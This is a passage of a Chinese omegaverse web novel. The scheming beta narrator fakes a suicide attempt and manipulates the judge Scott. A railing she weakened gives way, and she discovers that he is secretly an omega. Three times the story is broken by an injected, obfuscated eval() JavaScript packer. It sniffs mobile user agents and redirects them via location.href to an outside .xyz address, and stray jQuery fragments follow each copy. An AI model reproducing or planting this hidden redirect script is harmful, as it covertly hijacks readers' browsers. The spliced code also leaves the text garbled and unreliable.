那就是beta女性?可这人性格跳脱,说话间的行为艺术实在高调。
“说说吧,大晚上的你们出现在这里的目的是什么?。”alpha男性开口说道,金丝眼镜后的视线带着一丝讥讽,“总不会真是跳海自杀吧?”
beta女当即笑着反驳,“我还问你呢,你大晚上的来这里做什么?看着是上行城的人,不会是被赶出来的吧?”
“你!”alpha男性表情凝固,有些恶毒的眼神凝聚起来,“我自然有我的公务在身!”
“哈哈哈哈我不信。”beta女不愧是大艺术家,一言一句直戳痛点
我假装不存在,手指依旧抠抠。
你们两人慢慢吵,我就在旁边听。等你们吵出个所以然,我就可以判断出盒子到底给谁了。
两人的言语争执越来越激烈,甚至准备动刀动枪。
眼见就要打起来了,我就蹦出来“哎哟哎哟”劝架。
“不要吵了,都是误会。”我按住beta女的手,又往对面的alpha男方向招呼,“何况这里是贫民窟东区码头,来这里都是些不得已谋求生计的人,不要太苛刻了。”
等我说完,两人才互相暂停。
这里可是走私犯专用码头,两人说得再怎么义愤填膺,那都是来干坏事的啊!谁比谁高贵呢,一举报一个准!
“那你呢?”beta女性对着我又扬起笑脸,“你真是跳海自杀?”
那肯定不是啊!我这样好的人要是死了,这个狗屎世界那就真的完蛋了!
但我敏锐地察觉出了什么,一直抠盒子边缘的手从口袋里拿出来,装模作样地擦擦眼角。
我湿漉漉的脸不影响我发挥。
我满脸苦涩,“你要这样说,也是吧。我实在找不到理由继续生活下去。”
beta女来了兴致,“你说啊,让我听听你的故事。”
她还凑上了那边的人,“来,你也来听听怎么个事。”
有观众在场,那感情好啊。
我从口袋里拿出盒子,捧着盒子悲情又痛苦,“我……和那个人是没可能的。我们之间隔着太多东西了。钱,权,社会地位……偏偏我无法忍受自损尊严的办法留在他身边。”
“呵,愚蠢的感情。”alpha男冷嗤一声,“为了点没用的感情寻死觅活,简直和Omega一样软弱不堪。”
我对他怒目而视,“感情是人类自发的情绪,这和性别没有关系!你可以不理解,但你得尊重!”
beta女显然和我站一边,“你个没人爱的崽种,你是不是听我妹说话破防了?”
“胡言乱语!beta果然都是蠢货!”
两人又要吵起来了。
我马上充当和事佬人把beta女的手压下,“不要吵了,也有我太懦弱的原因!”
“是我在道德伦理和自我情感之间反复挣扎,是我没有勇气带着他逃跑又没有能力给予他幸福!一切,都是我的错!要惩罚就惩罚我吧,只有我死了才能彻底解脱!”
我悲愤交加,抱着盒子又要跳海,然后被beta女满脸动容地拉回来。
“别想不开!你没有错!你只是太爱他了!”beta女按着我的肩膀语重心长,“你是个赤诚的年轻人,你又怎么有错呢?错的是这个世界,是你们阴错阳差错付的感情!”
我透!这姐们好会说,不愧是大艺术家!
我竟然对这位第一次见面的beta女产生了同类之间惺惺相惜的感觉,不由得热泪盈眶。
“你真是个好人。”我给她发了一张好人卡。
“这个盒子是你们的定情信物?”beta女把我怀里的盒子拿走,“不如这样,盒子我先替你保管,等你理清楚这一段感情我就还给你。至于自杀,你就别再想了。”
“这不太好吧?会不会太麻烦你?”
“怎么会?帮助一个赤诚的年轻人,胜造十座图书馆!”
一番推心置腹,我的盒子成功送出去了。
旁观的alpha表情复杂,还带着点微妙的恶心。
呵,你们这群alpha男到处打孔钻洞的时候不恶心,怎么这会看见同性之间友好互动反而恶心了?
不会真是因为没人爱所以破防了吧?
我内心充满鄙夷。
两艘船总算是靠岸。
我走下甲板的时候打了个喷嚏。
beta女拿着通讯器站在甲板上操作,看着还会在原地待一会。
这是她们组织自己的事情,何况旁边还有个外人,我想问也问不了。
我又有些焦虑。我只得到了阿丽的口头承诺,又不知道组织内部的人如何传递信息。如果哪天阿丽离开了贫民窟,我又被抓住了,我该向谁求助?
难道是眼前的beta女?可她可能也只会在贫民窟内待一天甚至几个小时。我作为“区区配送员”甚至连她下一站目的地在哪都不知道。
我不由得开始诅咒当初在贫民窟内修建图书馆的洗黑钱官员。他为什么只捐赠一些空大话的鸡汤书,以至于我到现在对世界地图都处于一知半解的状态。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775049|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
我就这样沉浸在自己的思考中,至于旁边的天龙人alpha男,我原本没想着搭理他。
直到我听见他的下属喊他“斯科特先生。”,我整个人冷汗直冒!
贫民窟里谁有这么高大上的姓氏?
天杀的!奥维拉随夫姓后就是斯科特啊!
奥维拉不是说他丈夫比蜜蜂还忙吗?为什么会出现在这里啊!
这种时候我倒是宁愿克斯蒂的未婚夫过来,起码我真的只是蹭蹭没进去!而奥维,我是不仅进去了,我还里外翻了个遍啊!
想起我刚刚真情表白感人肺腑的一番言论,我的心脏砰砰直跳。
哈哈哈应该没事的吧,我和奥维拉都是beta没有信息素,就是里外翻遍了也不会留下味道的……
狗屎啊!斯科特只是四眼仔又不是真的眼瞎,他没眼睛看咬痕吗?
难道等两个法定配偶脱光光了往床上一躺,看见腰上的痕迹后问是怎么来的,然后奥维拉一句拔火罐弄的就能糊弄过去?
这话说出去谁信啊!
完蛋了完蛋了!
我好像看见处刑台了!
奥维拉你要害死我啊!
脑子里警报拉响,我默默地远离斯科特,朝着我停放自行车的阴暗小角落走去。
反正我没有说人名,肯定是不会被发现的。
而且奥维拉和我做的时候是第一次,说明什么?说明斯科特叽叽歪歪啊!
我诡异地平复了心情,迈向小角落的步伐也越来越镇定。
哈哈哈难怪斯科特会娶一个beta呢,原来是这个原因啊。他还得感谢我哩,我帮他稳定奥维拉的精神状态,可是付出了身心啊!
到达小角落,发现此处空荡荡什么也没有。
我的自行车被偷了。
天杀的,我要诅咒所有人!
要是让我知道谁偷了我的自行车,我要把他脑子打烂!
第二天,我发现我打烂不了任何人的脑子,反而是我自己的脑子被打烂了。
当我推开克斯蒂办公室大门走进去,看见斯科特的那一瞬间,我感觉我真的要死了。
alpha男性坐在单人沙发上,表情冰冷,眼下青黑,显然没有睡好觉。
“简,你应该告诉我那个该死的姘头到底是谁。”他说话的语气带着咬牙切齿,目光像是条毒蛇般吐着让人起鸡皮疙瘩的毒汁。
克斯蒂正在窗边修剪花枝,闻言笑容天真烂漫,“斯科特,虽然我是奥维拉的好友,但我确实更同情你。你已经够好了,而他也上了年纪,却做出恬不知耻的行径。”
说完,他克斯蒂扭头看见了我,于是朝我招招手,“无用,你也过来看看吧,这花怎么样?”
斯科特将视线转过来,看清楚我的脸后露出厌恶,“呵,怎么是你?”
我吞口唾沫,目光微微偏移。
克斯蒂对我两人的反应感到惊讶,“无用,斯科特,你们认识吗?”
“怎么不认识?”斯科特取下金丝眼镜,用手帕慢条斯理地擦拭眼镜片,“昨天她为了情人寻死觅活地跳海自杀呢。”
“咔嚓!”
剪刀切断了花朵的枝丫,将白色的栀子花一分为二。
克斯蒂笑容不变,再次看向我时的目光多了点冰冷。
“无用,是这样吗?”
我面无表情,实则内心爆炸。
斯科特此人下面叽叽歪歪就算了!怎么上面也叽叽歪歪!
12. 第 12 章
死嘴!快想法子狡辩啊!
我不想再进审讯室了!
我的大脑几乎旋转爆炸,但眼前的情形让我不得不打起精神来应对。
斯科特依旧在慢条斯理地擦眼睛,而克斯蒂则是站在窗边修剪花枝。分明是很和谐的一幕,可我就是觉得冷汗直冒,一股子鸡皮疙瘩从我的脊椎向上爬。
要死了要死了!
脑子快给我回忆昨天晚上我到底说了啥!
“无用,你怎么不回答我?是真的吗?”克斯蒂催命似的说话。
斯科特面无表情的脸上浮现一丝讥讽,“简,你早就该知道,像beta这种性别,性格里就是懦弱的。”
放你爹的狗屁!
我差点破口大骂。你有本事在这骂我,怎么没本事把你昨天晚上歧视omega的话重复说一遍?但凡我有录音机我绝对放出来!
但我没敢说,我敢怒不敢言,只能用看似无奈痛苦实则疯狂思考地表达沉默。
良久,我声音沙哑说:“克斯蒂……我们能单独聊一聊吗?”
大概是我的表情太痛苦,对克斯蒂亲昵依赖的表情太娴熟,这让斯科特的眉毛又蹙起来。
而克斯蒂微微一怔,挥舞的剪刀停滞在半空。
他嘴角的笑意真情实意了些,然后对斯科特说:“抱歉,斯科特,或许你该出去一下。”
主人都发话了,斯科特也不能强行赖在这里。
于是他站起来往办公室外走。
路过我时,我明显看见他落在我身上的目光。
厌恶,鄙夷以及了然。
哈!要的就是这种效果!
仆人们很识趣地离开了办公室,然后把大门一关。
现在只剩下我们两个人了。
克斯蒂随手将剪刀丢了,脚步有些急切地来到我的身边,“无用,现在你可以告诉我发生了什么。”
omega真的很有天赋。他们想要用温柔作为招式去引诱人的时候,不会有任何alpha拒绝。
不过我不是alpha,所以我不怕。
但我还是装作受蛊惑的样子,将脑袋垂下来,含着苦涩开口,“是,他说的没错,我昨晚确实去了海边。”
克斯蒂一下子就抓住了我的手。
我没动,就这样任由他抓着。
“克斯蒂……很抱歉,我不该隐瞒你,可我真的不知道该怎么办。”我的声音越来越低,“我就像我的名字一样,是个没用的废物。”
“我的良知告诉我不能这样做,我的自尊心也告诉我不能这样做,可一切就这样发生了。”
克斯蒂的呼吸有些急促,踮起了脚尖要看清楚我藏在眼眸里的情绪。
我知道他想从我嘴里听到什么东西。。
“21日那天,我就不该……”我只说了一半,就让他脑补完接下来的所有剧情。
克斯蒂接下我的话,“他是不是做了什么强迫你的事?”
我嘴角泛着苦涩,“我不能这样说他……是我意志太薄弱了,这不怪他。也许他只是和丈夫分居太久了,而我又抱着侥幸的心里……”
“所以你为什么去海边?”
“因为我实在忍受不了了。”我回答,“克斯蒂,你能理解我吗?我的自尊心受挫,又无能为力改变现实,我除了一个办法外别无选择。我只是没想到被斯科特先生看见了。”
“我今天才知道,原来他就是奥维拉的丈夫。”
克斯蒂听了我一番话后什么都没说,只是眼眸牢牢盯紧我。
看什么看!给我发表意见啊!你不说话我怎么演下去?
我缓缓地把我的手从克斯蒂的手中抽离,然后一点点往后退,展现出我愧疚又痛苦的神情,“我还是对他坦白吧。错得是我,我理应受到惩罚。”
克斯蒂终于动了。
他把我的手重新拉住,带着几乎某种愉悦和兴奋,“无用,你不用自责。”
“奥维拉就是这样,没有办法,我真同情你。”
我疑惑,“克斯蒂?”
克斯蒂又开始缠绕自己的头发了,看向我的眼神中透着些许的笑意,“无用,你已经为你的错误赎罪了。你不是懦弱,你有勇气去跳海。至于奥维拉,他应该不会再纠缠你了。他的丈夫不会允许的,如果他还是不知廉耻地引诱你,他一定会被净身出户。”
他说话时的表情洋洋得意,看得出来是真心幸灾乐祸。
虽然早就知道他和奥维拉纯属塑料友情,但落井下石的样子实在是mean。
“克斯蒂,你的意思是说……”我把他的注意拉回来。
克斯蒂才想起来我似的,敷衍般说:“你已经赎罪了。无用,现在你是自由身,也不用再担心被他纠缠了。”
说完后,他想了想,又补充一句,“你在我这一直是有尊严的,不要再想其他了。”
到这份上,我又怎么会不知道克斯蒂一直把我当做赢过奥维拉的玩具呢?
好吧我一直都知道。我可不指望这些天龙人omega会从一开始就对beta另眼相待。他们就是喜欢施舍情绪,然后幻想自己是底层人的救世主。
实际上他们胸无点墨,一边谩骂alpha对自己性别歧视,一边又对beta性别歧视。等哪天被alpha打一巴掌了,就娇嗔一下躲进beta的怀抱里寻安慰。
我可太了解这群贱人的脾性了,当初在无人区的时候我没少给a和o一人一巴掌。
但是没关系,我这人虽然记仇但识趣。
不管他们怎么想,只要该给的好处没少,我就会任由他们搓圆搓扁。
于是我轻轻地握住了克斯蒂的指间,在他愣然的注视下,将他的指尖放在唇角然后落下一个虔诚的吻。
“克斯蒂,谢谢你。”
“你比任何人都美好。”
克斯蒂像是被烫伤了一样,急忙收回手。
我则是对他笑了笑,说:“我以后不会再去海边了,克斯蒂。明天见。”
我很识趣地离开办公室,由着他抓住指间发愣。
“咔嚓!”
门关闭了。
克斯蒂依旧感觉指间发烫。
在吻落下的一瞬间,他感觉什么东西烙在了指间上,然后往上蔓延扎进喉咙里,让喉咙发紧。
本来是这样的。
只是把她当做一个可以争夺的玩具,在成功后随手就丢开。
可回忆起刚才的举动,克斯蒂又觉得哪里不一样,然后反复咀嚼她离开前的话。
美好?omega当然美好。大家都这样称赞omega,尤其是在omega生育后,称赞就会络绎不绝地砸过来。
可克斯蒂知道,她口中的美好不一样。
他连头发都没心思搅了,就是站在窗台边往下看。
通讯器响起声音,是奥维拉。
克斯蒂嗤笑一声。
又老又丑的beta,就算是费尽心思地引诱,也只是让她无法忍受地选择跳海。
于是他接通了通讯器。
下一秒,裹挟的愤怒的怒骂就传过来,“克斯蒂·简!是你把斯科特叫过来的!”
将通讯器丢在桌面,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775050|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
克斯蒂从喉间挤出一丝笑,“什么?我听不懂,奥维拉。对了奥维拉,你知道斯科特找我了吗?他说你有婚外情,哈哈哈,是谁呢?”
“白无用。”斯科特在电梯前叫住了我。
我想翻白眼,但我知道这里有监控,我翻不了,于是只能憋屈地转过身看向他,“怎么了?斯科特先生?”
alpha男具有明显的身高优势,站在我面前足足高了半个头。
近身的那一刻,我的鼻尖就环绕了一股淡淡的气味。
是信息素?不对吧,我一个beta怎么可能闻到?
那就只能是香水。
我站着没动,以不卑不亢的姿态面对他。
他居高临下看着我,冷冷说:“你和克斯蒂的关系,最好适可而止。”
哦呼~看来他认为我和克斯蒂才是情人关系。
我抿着唇,没否认也没承认,反而问了另外的话题,“斯科特先生,您和克斯蒂的关系很亲密吗?是多年的好友吗?”
“和你无关。”他冷声。
“既然如此,那我和克斯蒂之间也与你无关。”我直视他的眼睛。
“事实上,我和克斯蒂很清白,一切都是我自作自受,他从没有对我表达过什么。”我一副正义凛然清高孤傲的模样,“是我的情感不受控制,是我懦弱地选择跳海。和他毫无关系,他从头到尾只是保持美好的品性对我加以信任,提拔我而已。”
“我反而要质问你,斯科特先生。”我靠近他一步,在他明显恼怒的眼神中语气冰冷问:“作为一个有法定配偶的alpha,为什么要去质疑一个品性高尚并且有未婚夫的omega?”
“你!”他破防了,一把抓住了我的衣襟,“区区一个beta,你有什么资格质疑我!”
我毫不畏惧,“难道你们alpha脑子里除了歧视其他人外就什么都没有了吗?”
此话一出,他完全愣住。
作为天龙人,还是一个从出生开始就站在金字塔第二层的alpha,竟然被底层小牛马侮辱了!
这怎么忍?根本忍不了!
于是他抬起拳头就要往我脸上呼!
我透的!可算是给我找到光明正大打天龙人的机会了!
但我还是很注意角度和形象的,每每落下拳头都是在监控看不到的角度,而每每被揍就是监控下最倔强又最可怜的角度。
要是克斯蒂没看监控那就算了,但他要是看了,那我就能站在道德的制高点上指指点点!
我们两人就这样扭打到摔进了电梯。
我随手摁下了一层,然后继续往斯科特的肚子上踹。
没想到他一个翻身,让我脚底板打滑迎面摔下去,将他撞到地面上!
“砰!”
我的手按住他的后脑勺。
电光火石之间,我发现此人的身体猛然一僵,然后剧烈挣扎开我的手迅速退到了电梯的角落。
他的嘴角挂着伤,金丝眼镜早就破碎掉在地上,衣服凌乱不堪露出里面的皮肤。
暖色调的白,还有很多淤青和斑驳。
“你……”我欲言又止。
“闭嘴!”斯科特完全没有了最开始的高高在上,反而狼狈不堪地站在电梯角落。
他捂着后脑勺的位置,眼神恶毒地恨不得把我生吞活剥,“你敢把今天的事情说出去一个字,我就把你送上处刑台!”
我无语了。我又没把你怎么着,不就是打了你一顿吗,那么敏感做什么?
不就是堂堂alpha打架没打赢beta么,至于那么破防吗?
13.第 13 章
alpha的自尊心大概都是这样易碎脆弱的,随随便便说两句话就能让他破防。
在封闭的电梯空间内,我们面面相觑,谁都没有开口。
他就这样一直捂着后脑勺。
我可不记得我对他后脑勺做了什么。那是人体的重要部位,要真闹出人命死的第一个就是我。
电梯处于失重的状态,还在往下降落。
我靠着电梯墙壁,想了想就从口袋里掏出皱巴巴的纸巾递给他,“把嘴角的血擦擦吧。”
不然这擦了脸的纸巾没地方扔,多浪费啊。
你看我都主动示弱了,你识相点赶紧给我下台阶。
“不需要。”他冷哼一声,从他昂贵的外套口袋里拿出了洁白的手帕。
好在电梯内有镜子,他可以照着镜子整理着装。
不过他依旧没有把后脑勺露出来。
看着他这样的动作,我那触碰过他后脑勺的手不自觉搓了搓。
斯科特太奇怪了,某些地方敏感得可怕。
我忍不住思考,斯科特和奥维拉之间到底是什么关系。
他们好像是政治联姻,可听克斯蒂的话,奥维拉似乎处于这一段婚姻的劣势。
身为上行城的法官,我不相信斯科特不知道钻法律漏洞。
等他整理完,我脑海中的某个大胆的计划又诞生了。
或许……我可以铤而走险。
最开始我的目标只是好好活下去,扒紧奥维拉过上舒坦的日子。然后克斯蒂来了,我又想做公司老板。现在斯科特又来了,我想要的东西更多了。
我目前还没有胆量奢望去上行城,但我想要去克亚区。
我从通讯器里发送来的图片了解过,克亚区的人都很体面,都可以去超市购买新鲜食物,普通员工一天只需要工作十个小时,一个月还能拿六千的薪水。而且还有正规的教堂,教堂里面没有乱七八糟搞在一起的乞丐。
那我应该做什么?继续巴结奥维拉?还是让克斯蒂离开的时候顺便带我离开?
不,我可以利用斯科特。
他们这一对配偶显然感情不和,因为奥维拉是过错方,斯科特只要找到了姘头就会让奥维拉净身出户。到时候奥维拉离开贫民窟,我这个姘头会被送上处刑台。
而我有两个选择。
要么靠着克斯蒂隐瞒下这一段奸情然后让斯科特和奥维拉重修于好,我这个中间人可以从中得到报酬。等克斯蒂离开后,我在奥维拉的批准下前往克亚区,然后继续自己生活。
要么干脆以小博大找到斯科特的把柄,然后倒戈斯科特联合他一起逼奥维拉净身出户。到时候拥有把柄和的我可以持续不断地从斯科特的手里榨取利益。
第一个选择虽然收益小,但风险也小,只要好好操做就能实现。而第二个选择利益更长远,风险极大,稍有不慎就会被斯科特杀人灭口。
这么想着,我摩擦手指的动作更快了。
斯科特这人到底有什么把柄?
后脑勺……腺体?
“抱歉。”我首先开口,“但我不后悔。”
他又想扯开讥讽的笑,但扯到了嘴角的伤口,于是“嘶”一声。
我继续说:“抱歉是因为我的冲动,不该侮辱你。而我不后悔,则是因为你不仅侮辱了我,也侮辱了克斯蒂。我无法忍受我的朋友受到嘲讽。”
“朋友?”斯科特满眼不屑,“你最多是他心血来潮的玩具。简在这待不了多久,最多三个月他就会回去结婚。”
我没有生气,而是用同情的目光看他,“你就一定要这样吗?不断地给其他人泼脏水,明明大家都是很好的人,我甚至觉得你也是很好的人。”
“什么?”斯科特的卡住了,有片刻地陷入空白,“你什么意思?”
我将皱巴巴的纸团赛会口袋,然后一点点靠近他,“我确实是个蠢笨的人,很多事情我想不明白。但我认为无论是你,还是克斯蒂,还是奥维拉,大家都很好。”
“你和奥维拉什么关系?”他精准捕捉我话语中的重点。
“朋友。我从前是公司的基层配送员,经常会去警察局配送货物。”我老实回答,“然后我们就认识了。实不相瞒,我甚至很感激他,是他还了我清白。”
至于我其他的清白那肯定是没了。
见斯科特一脸疑惑,于是我真假参半地将二进宫审讯室的事情告诉他。
由于电梯不是说话的好地方,终于我们转移位置去了公司的露天阳台。
我不断向他透露奥维拉在贫民窟里的事迹。虽然很多都是我从犄角旮旯里翻出来的无关紧要的小事,但我深谙春秋笔法,成功将他的注意力勾走。
“我很感激他,如果不是他执意调查清楚,我可能在被抓走的当天就走上处刑台了。”我满怀感激说,“所以我想……或许他有不能说的苦衷呢?”
斯科特不言,而是将目光方向阳台外的风景。
我则是用我的小腿轻轻踢踹围栏,动作幅度很小,他没有发现。
其实风景没什么好看的。这个方向对准的是贫民窟,能看见的都是破破烂烂的木板房建筑物和密密麻麻堆积在一起的垃圾,以及蚂蚁一样的人。
我看了看斯科特,然后小声询问:“你爱他吗?”
斯科特侧过眼眸,对这个问题很不屑,“没必要的东西,我从不在意。”
我闻言,又把我的脸转回去,“可奥维拉他很渴望爱情。”
“所以他就在外面寻找爱情?”斯科特被踩着几把一样转过来怒目圆睁,“他想要做什么我难道没有满足他吗?他想要和我分居,我同意了。他想要成为警督,我给他安排好了。他就算是想要我婚前十分之一的财产,我都同意了!他还有什么不满足?”
“现在他想要婚外情,难道还要我把他的情人也接回家里,然后等着被那些八卦记者抓住机会拍下照片?”
斯科特说出最后一句话时愤怒的情绪到达顶峰,甚至让他整个人气得发抖。
“既然如此,为什么你们要结婚?”我好奇问。
我可太好奇你们到底为什么结婚了!
快和我说,说了我才知道怎么挑拨离间!
“还不是因为——”斯科特戛然而止,又把嘴闭上了。
我透!烦死你们这群不好好说话的人了!吃屎吧!
“你也有不得已的地方。”我沉重叹气,再次假模假样地安慰他,“我为我的理所当然感到抱歉,你很不容易了。”
我停下的踢踹栏杆的动作,而是选择往前靠在栏杆上。
“或许你们都没有错,只是很多事情没有办法,发生就是发生了。”
斯科特绷紧下颚线,两片薄薄的唇紧抿在一起,竟然有些发白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778947|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我则是苦涩笑了一下,“我也没有办法,于是只能顺其自然。等克斯蒂三个月后离开,我就只能留在公司里怀着不切实际的希望继续等下去。”
我们两人都陷入了低气压中,靠着栏杆眺望远方的风景。
他的眼睛眯起来,很吃力地去分辨前方的贫民窟布局。
东区是走私码头,西区靠近警察局和公司,北区则靠近无人区,南区是连在一起的黑心工厂。
他应该还在想奥维拉的事情。
没事,我等会就让他没空想。
“时间不早了,回去吧。”我对他说道。
大概是刚刚的谈心让斯科特对我没有那么大的抵触了,竟然心态平和地昂首答应。
而我路过他身边时,侧眸看见了他掉在地上的东西,于是弯腰捡起来,“这是你的吗?”
斯科特目光落在我的手掌心,终于看清楚东西的样子后猛然瞪大眼然后伸出手抢夺!
“咔嚓——”
有什么东西崩断了。
我看着斯科特的身子往后倒,撞上阳台的栏杆……
然后整个人连着栏杆一起摔下去!
我眼疾手快抓住他,差点被他的体重也连带着摔下去,还好我抓住了边缘的栏杆才看看稳住!
“抓紧我!”我对斯科特说道,“我会拉你上来!”
斯科特面色苍白,他费力抓紧我手的同时不受控制地往下看。
可他是个近视眼,什么也看不清楚。
可失重带来的强烈不适感还是让他想要呕吐,又被生生咽回去。
“别看下面。”我语气轻柔,“看我,斯科特,也别想其他的事情,你只要抓紧我就够了。”
公司的基层员工很忙碌,不会有人上来。而管理层有更好的地方享受,更不会过来。所以这里除了我和斯科特之外不会有其他人,哪怕阳台栏杆突然断裂,也只能是因为年久失修。
我就这样抓进斯科特,因为用力过多以至于另一只支撑的手有些抽筋发抖。
尖锐的刺插进我的手臂,顺着手臂往下落在斯科特的脸上,让他苍白的脸染上点奇异的红。
斯科特抿着唇,死死盯着我的眼睛。
我一点点往上拉,耗费了两分多钟才将他重新拉回平面。
回到平面时,斯科特倒在我的身上一动不动。
汗水顺着脖颈往下滴,落在我的下巴,额头和面颊上,而那一股莫名的气味更加浓郁了。
“没事了,斯科特。”我伸出手拍了拍斯科特的后脑勺,终于摸到他后脖颈处的抑制贴。
哈哈!我确定了!我知道斯科特的把柄是什么了!
这个人是个omega!哈哈哈哈!他是个伪装成alpha的omega!
谁又能想到呢?这个满嘴歧视omega,认为omega愚蠢又没脑子的大法官,自己就是个omega!
怪不得会娶奥维拉,怪不得身为alpha会喷香水,怪不得对后脑勺部位敏感!
我几乎抑制不住我的笑容,手却还是克制地离开了那块肌肤,然后改为握住他的肩膀将他撑起来。
“还好吗?斯科特?没事了,我把你救上来了,不是吗?”我扬起温柔的笑容,对他柔声安慰说道。
斯科特依旧面色苍白,却牢牢盯着我,然后吐出一句话,“白无用,你知道了。”